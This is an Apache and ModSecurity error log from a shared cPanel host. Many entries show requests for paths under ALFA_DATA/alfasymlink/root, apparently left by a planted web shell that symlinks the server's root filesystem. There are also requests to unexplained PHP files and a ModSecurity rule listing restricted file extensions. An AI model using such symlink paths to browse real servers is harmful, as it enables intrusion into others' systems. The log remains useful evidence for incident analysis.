[Mon Oct 26 03:38:06.288371 2026] [core:error] [pid 2992768:tid 2992768] (13)Permission denied: [client 44.195.50.71:43324] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/resource0
[Mon Oct 26 03:38:10.151724 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 3.90.73.206:35768] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:38:18.330504 2026] [core:error] [pid 2984263:tid 2984263] (13)Permission denied: [client 18.215.77.19:30948] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource1
[Mon Oct 26 03:38:22.147871 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 3.218.35.239:1766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:38:34.147202 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 34.205.170.13:51336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:38:38.280394 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 34.234.197.175:25012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:38:50.158281 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 18.207.79.144:52580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:38:54.261602 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 54.157.84.74:40298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:38:58.134566 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 34.226.89.140:36482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/cpu1/firmware_node/subsystem/drivers_probe
[Mon Oct 26 03:39:07.540542 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 85.208.96.211:21240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:39:10.803297 2026] [core:error] [pid 2982126:tid 2982126] (13)Permission denied: [client 85.208.96.209:35296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/destroy_by_rcu
[Mon Oct 26 03:39:18.163977 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 98.84.184.80:49131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:39:30.332298 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 3.212.219.113:61687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:39:31.797313 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 85.208.96.194:53110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:39:42.125284 2026] [core:error] [pid 2982126:tid 2982126] (13)Permission denied: [client 34.231.156.59:23605] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory1/subsystem/drivers_probe
[Mon Oct 26 03:39:46.149033 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 34.230.124.21:42173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:39:50.137801 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 23.22.59.87:50343] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:40:02.258434 2026] [core:error] [pid 2982126:tid 2982126] (13)Permission denied: [client 54.80.73.122:58597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/objs_per_slab
[Mon Oct 26 03:40:06.216685 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 23.23.104.107:4206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/cirrus/unbind
[Mon Oct 26 03:40:10.199855 2026] [core:error] [pid 2984316:tid 2984316] (13)Permission denied: [client 54.156.55.147:52905] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:1a/eject
[Mon Oct 26 03:40:46.151202 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.235.191.179:44667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:40:50.165528 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 54.83.180.239:23736] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory19/node0/subsystem/drivers_probe
[Mon Oct 26 03:40:54.200504 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.147.80.137:18365] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:41:02.171133 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 23.22.59.87:12792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/dw_dmac_pci/unbind
[Mon Oct 26 03:41:06.569480 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 44.193.102.198:62803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:41:14.158772 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.205.222.214:30084] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:41:18.403668 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 54.197.178.107:24240] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:41:30.301910 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 3.214.176.44:52779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:41:38.140734 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.213.106.226:58856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:41:42.137293 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 100.24.149.244:45807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:41:46.147852 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.206.47.187:57086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:41:53.293465 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 185.191.171.16:10694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/trace
[Mon Oct 26 03:42:02.430392 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 52.2.83.227:49383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:42:06.144178 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 44.194.139.149:8693] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:42:15.129940 2026] [security2:error] [pid 2992768:tid 2992768] [client 43.159.145.153:38850] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/sesion2/"] [unique_id "at8EVxF774Wp7BGGZJki9gAAAAU"]
[Mon Oct 26 03:42:26.132167 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 44.212.232.231:40984] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:42:30.168993 2026] [core:error] [pid 2992769:tid 2992769] (13)Permission denied: [client 34.225.24.180:33368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/subsystem/devices/node0/compact
[Mon Oct 26 03:42:50.232302 2026] [core:error] [pid 2984174:tid 2984174] (13)Permission denied: [client 185.191.171.14:63968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/store_user
[Mon Oct 26 03:42:54.133194 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 52.203.237.170:51545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:42:58.167981 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 18.232.36.1:40424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:43:02.159721 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 34.196.6.199:44908] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:43:06.203017 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 34.235.239.240:13431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:43:14.187835 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 85.208.96.208:13404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/store_user
[Mon Oct 26 03:43:14.188341 2026] [security2:error] [pid 2992282:tid 2992282] [client 85.208.96.208:13404] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/store_user"] [unique_id "at8EkjinotCw53EHKeT-SwAAAAI"]
[Mon Oct 26 03:43:14.188422 2026] [security2:error] [pid 2992282:tid 2992282] [client 85.208.96.208:13404] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/store_user"] [unique_id "at8EkjinotCw53EHKeT-SwAAAAI"]
[Mon Oct 26 03:43:34.155342 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 44.220.2.97:58592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/total_objects
[Mon Oct 26 03:43:38.182347 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.203.68.145:45665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:43:39.283515 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 185.191.171.8:32288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/cpu_partial
[Mon Oct 26 03:43:50.222744 2026] [ssl:error] [pid 2984441:tid 2984441] (5)Input/output error: [client 34.193.2.57:3034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:43:54.142625 2026] [ssl:error] [pid 2984450:tid 2984450] (5)Input/output error: [client 52.205.113.104:55487] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:43:58.203265 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 44.223.115.10:26706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/0000:00:04.0/resource1
[Mon Oct 26 03:44:06.179761 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 34.239.85.139:49288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:14.311981 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 34.236.41.241:13396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:22.219836 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 3.94.156.104:50358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/cirrus/bind
[Mon Oct 26 03:44:26.267073 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 52.205.141.124:4913] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:30.223583 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 54.225.148.123:64963] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:34.246584 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.70.138.176:19496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:38.209972 2026] [ssl:error] [pid 2992282:tid 2992282] (22)Invalid argument: [client 52.21.62.139:23275] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:46.188966 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.73.6.26:62409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:50.408768 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 98.82.59.253:15847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:54.130980 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 44.212.106.171:52182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:44:58.133432 2026] [ssl:error] [pid 2988243:tid 2988243] (5)Input/output error: [client 3.208.156.9:14618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:45:02.282091 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 52.2.191.202:42763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:45:06.222084 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 184.73.68.20:11373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:45:13.681525 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 85.208.96.193:29352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/red_zone
[Mon Oct 26 03:45:14.136274 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 52.44.174.136:12801] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:45:17.231693 2026] [security2:error] [pid 2984261:tid 2984261] [client 85.208.96.210:56950] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/makedumpfile/eppic_scripts/tcp_sk_buf_3_10_to_4_8.c"] [unique_id "at8FDS-E70pTpF9ObR-yTAAAAAg"]
[Mon Oct 26 03:45:17.231750 2026] [security2:error] [pid 2984261:tid 2984261] [client 85.208.96.210:56950] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/makedumpfile/eppic_scripts/tcp_sk_buf_3_10_to_4_8.c"] [unique_id "at8FDS-E70pTpF9ObR-yTAAAAAg"]
[Mon Oct 26 03:45:22.239325 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 3.219.81.66:60866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory19/node0/subsystem/uevent
[Mon Oct 26 03:45:30.288226 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 3.210.223.61:19269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:45:42.209423 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.225.81.20:42753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:45:46.112633 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 34.236.41.241:61409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:45:46.112844 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.236.41.241:61409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/node0/memory5/uevent"] [unique_id "at8FKt8riwHadHMxXEF1LwAAACU"]
[Mon Oct 26 03:45:46.112868 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.236.41.241:61409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/node0/memory5/uevent"] [unique_id "at8FKt8riwHadHMxXEF1LwAAACU"]
[Mon Oct 26 03:45:53.691344 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 85.208.96.211:33452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_dst_cache/validate
[Mon Oct 26 03:45:54.121336 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 3.210.114.189:37331] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/driver/cpu1/crash_notes
[Mon Oct 26 03:46:10.355442 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 18.232.11.247:4266] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:46:18.192504 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.147.80.137:57805] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:46:22.144695 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 100.29.128.75:39763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:46:34.118812 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.213.85.234:31478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:46:38.132609 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 44.194.139.149:16459] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:46:42.182234 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 98.82.214.73:51298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:47:02.336730 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.208.156.9:7990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:47:03.077631 2026] [security2:error] [pid 2993961:tid 2993961] [client 20.151.218.88:54761] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "cpanel.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpanel/222.php"] [unique_id "at8FdxJqpTbSe9f2_suAcgAAAAc"]
[Mon Oct 26 03:47:03.077670 2026] [security2:error] [pid 2993961:tid 2993961] [client 20.151.218.88:54761] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "cpanel.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpanel/222.php"] [unique_id "at8FdxJqpTbSe9f2_suAcgAAAAc"]
[Mon Oct 26 03:47:17.625932 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 185.191.171.5:22656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/objs_per_slab
[Mon Oct 26 03:47:26.898753 2026] [security2:error] [pid 2994318:tid 2994318] [client 16.216.88.106:61440] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/385_mod_rewrite.conf"] [unique_id "at8FjrfDUWp_vwDVlEAXJAAAAAs"]
[Mon Oct 26 03:47:26.899275 2026] [security2:error] [pid 2994318:tid 2994318] [client 16.216.88.106:61440] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/385_mod_rewrite.conf"] [unique_id "at8FjrfDUWp_vwDVlEAXJAAAAAs"]
[Mon Oct 26 03:47:26.899700 2026] [security2:error] [pid 2994318:tid 2994318] [client 16.216.88.106:61440] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/385_mod_rewrite.conf"] [unique_id "at8FjrfDUWp_vwDVlEAXJAAAAAs"]
[Mon Oct 26 03:47:34.136175 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 3.222.190.107:60209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:47:38.179998 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.205.170.13:65437] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:47:42.131648 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.225.199.17:3277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:47:46.113928 2026] [core:error] [pid 2992769:tid 2992769] (13)Permission denied: [client 3.212.219.113:28049] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.0/remove
[Mon Oct 26 03:47:50.114073 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 44.223.116.149:14981] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers/hardware_error_device/uevent
[Mon Oct 26 03:47:58.134635 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 18.235.81.246:51338] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:48:02.315412 2026] [ssl:error] [pid 2994318:tid 2994318] (70014)End of file found: [client 35.171.141.42:12610] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:48:14.500339 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 52.54.95.127:19853] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:05/physical_node/resource1
[Mon Oct 26 03:48:26.126480 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.93.253.174:52738] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:48:34.118987 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.83.23.103:41209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:48:42.265582 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 35.170.205.140:38004] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:48:46.668638 2026] [security2:error] [pid 2982126:tid 2982126] [client 107.172.76.131:52118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8F0mOlQEA7vTaN5Z-iqgAAABA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 03:48:46.668708 2026] [security2:error] [pid 2982126:tid 2982126] [client 107.172.76.131:52118] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8F0mOlQEA7vTaN5Z-iqgAAABA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 03:48:50.120573 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 3.93.211.16:34834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/firmware_node/physical_node/crash_notes_size
[Mon Oct 26 03:48:54.213973 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 52.3.156.186:18045] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:48:58.132990 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 23.21.119.232:14045] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource4
[Mon Oct 26 03:49:06.142891 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 54.85.109.140:33628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:49:10.127826 2026] [ssl:error] [pid 2984174:tid 2984174] (5)Input/output error: [client 3.222.190.107:57616] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:49:14.233766 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.213.46.222:57191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:49:21.076421 2026] [ssl:error] [pid 2992769:tid 2992769] (70014)End of file found: [client 185.191.171.13:51520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:49:34.154905 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 3.229.164.203:52088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:49:54.118142 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 52.1.157.90:25809] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:11/subsystem/drivers/battery/unbind
[Mon Oct 26 03:49:58.117830 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 44.209.89.189:42843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:02.172702 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 3.94.156.104:8300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:50:06.222852 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 34.196.114.170:62526] AH02013: coalesce failed to read from data bucket
